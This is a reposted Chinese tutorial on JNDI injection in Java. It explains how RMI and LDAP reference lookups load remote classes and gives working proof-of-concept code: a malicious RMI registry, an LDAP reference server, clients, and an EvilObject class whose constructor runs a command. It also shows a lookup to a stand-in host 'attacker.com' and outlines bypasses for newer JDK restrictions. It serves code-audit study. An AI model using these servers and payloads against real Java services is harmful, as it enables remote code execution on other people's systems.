转载

Java代码审计学习之JNDI注入

前言

  • RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA。
  • JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。

RMI 中动态加载字节代码

如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Reference 中几个比较关键的属性:

  1. className - 远程加载时所使用的类名
  2. classFactory - 加载的 class 中需要实例化类的名称
  3. classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 等协议

例如这里定义一个 Reference 实例,并使用继承了 UnicastRemoteObject 类的 ReferenceWrapper 包裹一下实例对象,使其能够通过 RMI 进行远程访问:

Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数。

动态协议转换

在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等):

Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);

而在调用 lookup() 或者 search() 时,可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象:

ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

JNDI注入原理

JNDI 支持很多服务类型,当服务类型为 RMI 协议时,如果从 RMI 注册服务中 lookup 的对象类型为 Reference 类型或者其子类时,会导致远程代码执行, Reference 类提供了两个比较重要的属性, className 以及 codebase urlclassname 为远程调用引用的类名,那么 codebase url 决定了在进行 rmi 远程调用时对象的位置,此外 codebase url 支持http协议,当远程调用类(通过 lookup 来寻找)在 RMI 服务器中的 CLASSPATH 中不存在时,就会从指定的 codebase url 来进行类的加载,如果两者都没有,远程调用就会失败。

JNDI RCE 漏洞产生的原因就在于当我们在注册 RMI 服务时,可以指定 codebase url ,也就是远程要加载类的位置,设置该属性可以让 JNDI 应用程序在加载时加载我们指定的类( 例如: http://www.iswin.org/xx.class ) ,当 JNDI 应用程序通过 lookup (RMI服务的地址)调用指定 codebase url 上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。

RMI + JNDI Reference Payload

RMIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(8080);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
        registry.bind("refObj", refObjWrapper);
    }
}

RMIClient.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("rmi://localhost:8080/refObj");
            String data = "This is RMI Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

EvilObject.java

import java.lang.Runtime;

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

jdk版本 8u101
Java代码审计学习之JNDI注入JDK 6u132 , JDK 7u122 , JDK 8u113 中Java提升了JNDI 限制了 Naming/Directory 服务中 JNDI Reference 远程加载 Object Factory 类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为 false ,即默认不允许从远程的 Codebase 加载 Reference 工厂类。

LDAP + JNDI Reference Payload

除了 RMI 服务之外, JNDI 还可以对接 LDAP 服务, LDAP 也能返回 JNDI Reference 对象,利用过程与上面 RMI Reference 基本一致,只是 lookup() 中的URL为一个LDAP地址: ldap://xxx/xxx ,由攻击者控制的 LDAP 服务端返回一个恶意的 JNDI Reference 对象。

LDAP服务的 Reference 远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,所以适用范围更广。不过在2018年10月,Java最终也修复了这个利用点,对 LDAP Reference 远程工厂类的加载增加了限制,在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false`。

LdapServer.java

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

LdapClient

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("ldap://localhost:1234/EvilObject");
            String data = "This is LDAP Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

Java代码审计学习之JNDI注入

绕过JDK 8u191+等高版本限制

所以对于 Oracle JDK 11.0.1、8u191、7u201、6u211 或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:

  1. 找到一个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类,并利用这个本地的 Factory 类执行命令。
  2. 利用 LDAP 直接返回一个恶意的序列化对象, JNDI 注入依然会对该对象进行反序列化操作,利用反序列化 Gadget 完成命令执行。

这两种方式都非常依赖受害者本地 CLASSPATH 中环境,需要利用受害者本地的 Gadget 进行攻击。

Referer

原文  https://www.smi1e.top/java代码审计学习之jndi注入/
正文到此结束
Loading...